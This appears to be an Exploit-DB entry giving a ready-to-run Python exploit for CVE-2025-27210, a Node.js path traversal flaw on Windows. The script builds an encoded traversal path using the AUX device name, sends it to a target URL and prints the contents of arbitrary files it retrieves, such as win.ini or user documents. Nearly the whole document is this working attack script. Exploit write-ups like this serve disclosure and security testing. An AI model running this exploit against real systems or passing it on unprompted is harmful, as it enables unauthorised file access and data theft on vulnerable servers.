NodeJS 24.x - Path Traversal

EDB-ID:

52369




Platform:

NodeJS

Date:

2025-07-16


# Exploit Title : NodeJS 24.x - Path Traversal 
# Exploit Author : Abdualhadi khalifa
# CVE : CVE-2025-27210


import argparse
import requests
import urllib.parse
import json
import sys

def exploit_path_traversal_precise(target_url: str, target_file: str, method: str) -> dict:

    traverse_sequence = "..\\" * 6
    normalized_target_file = target_file.replace("C:", "").lstrip("\\/")
    malicious_path = f"{traverse_sequence}AUX\\..\\{normalized_target_file}"
    encoded_malicious_path = urllib.parse.quote(malicious_path, safe='')
    full_url = f"{target_url}/{encoded_malicious_path}"

    response_data = {
        "target_url": target_url,
        "target_file_attempted": target_file,
        "malicious_path_sent_raw": malicious_path,
        "malicious_path_sent_encoded": encoded_malicious_path,
        "full_request_url": full_url,
        "http_method": method,
        "success": False,
        "response_status_code": None,
        "response_content_length": None,
        "extracted_content": None,
        "error_message": None
    }

    try:
        print(f"[*] Preparing precise Path Traversal exploit...")
        print(f"[*] Malicious Path (Encoded): {encoded_malicious_path}")
        print(f"[*] Request URL: {full_url}")

        if method.upper() == 'GET':
            response = requests.get(full_url, timeout=15)
        elif method.upper() == 'POST':
            response = requests.post(f"{target_url}", params={'filename': encoded_malicious_path}, timeout=15)
        else:
            raise ValueError("Unsupported HTTP method. Use 'GET' or 'POST'.")

        response_data["response_status_code"] = response.status_code
        response_data["response_content_length"] = len(response.content)

        if response.status_code == 200:
            content = response.text
            response_data["extracted_content"] = content
            if target_file.lower().endswith("win.ini") and "[windows]" in content.lower():
                response_data["success"] = True
            elif len(content) > 0:  # For any other file, just check for non-empty content.
                response_data["success"] = True
            else:
                response_data["error_message"] = "Received 200 OK, but content is empty or unexpected."
        else:
            response_data["error_message"] = f"Server responded with non-200 status code: {response.status_code}"

    except requests.exceptions.Timeout:
        response_data["error_message"] = "Request timed out. Server might be slow or unresponsive."
    except requests.exceptions.ConnectionError:
        response_data["error_message"] = "Connection failed to target. Ensure the Node.js application is running and accessible."
    except ValueError as ve:
        response_data["error_message"] = str(ve)
    except Exception as e:
        response_data["error_message"] = f"An unexpected error occurred: {str(e)}"

    return response_data

def main():

    parser = argparse.ArgumentParser(
        prog="CVE-2025-27210_NodeJS_Path_Traversal_Exploiter.py",
        description="""
        Proof of Concept (PoC) for a precise Path Traversal vulnerability in Node.js on Windows (CVE-2025-27210).
        This script leverages how Node.js functions (like path.normalize() or path.join())
        might mishandle reserved Windows device file names (e.g., CON, AUX) within Path Traversal
        sequences.
        """,
        formatter_class=argparse.RawTextHelpFormatter
    )
    parser.add_argument(
        "-t", "--target",
        type=str,
        required=True,
        help="Base URL of the vulnerable Node.js application endpoint (e.g., http://localhost:3000/files)."
    )
    parser.add_argument(
        "-f", "--file",
        type=str,
        default="C:\\Windows\\win.ini",
        help="""Absolute path to the target file on the Windows system.
Examples: C:\\Windows\\win.ini, C:\\secret.txt, C:\\Users\\Public\\Documents\\important.docx
        """
    )
    parser.add_argument(
        "-m", "--method",
        type=str,
        choices=["GET", "POST"],
        default="GET",
        help="HTTP method for the request ('GET' or 'POST')."
    )

    args = parser.parse_args()

    # --- CLI Output Formatting ---
    print("\n" + "="*70)
    print("      CVE-2025-27210 Node.js Path Traversal Exploit PoC")
    print("="*70)
    print(f"[*] Target URL: {args.target}")
    print(f"[*] Target File: {args.file}")
    print(f"[*] HTTP Method: {args.method}")
    print("-"*70 + "\n")

    result = exploit_path_traversal_precise(args.target, args.file, args.method)

    print("\n" + "-"*70)
    print("                   Exploit Results")
    print("-"*70)
    print(f"  Request URL: {result['full_request_url']}")
    print(f"  Malicious Path Sent (Raw): {result['malicious_path_sent_raw']}")
    print(f"  Malicious Path Sent (Encoded): {result['malicious_path_sent_encoded']}")
    print(f"  Response Status Code: {result['response_status_code']}")
    print(f"  Response Content Length: {result['response_content_length']} bytes")

    if result["success"]:
        print("\n  [+] File successfully retrieved! Content below:")
        print("  " + "="*66)
        print(result["extracted_content"])
        print("  " + "="*66)
    else:
        print("\n  [-] File retrieval failed or unexpected content received.")
        if result["error_message"]:
            print(f"  Error: {result['error_message']}")
        elif result["extracted_content"]:
            print("\n  Response content (partial, may indicate server error or unexpected data):")
            print("  " + "-"*66)
            # Truncate long content if not fully successful
            print(result["extracted_content"][:1000] + "..." if len(result["extracted_content"]) > 1000 else result["extracted_content"])
            print("  " + "-"*66)

    print("\n" + "="*70)
    print("                 Complete")
    print("="*70 + "\n")

if __name__ == "__main__":
    main()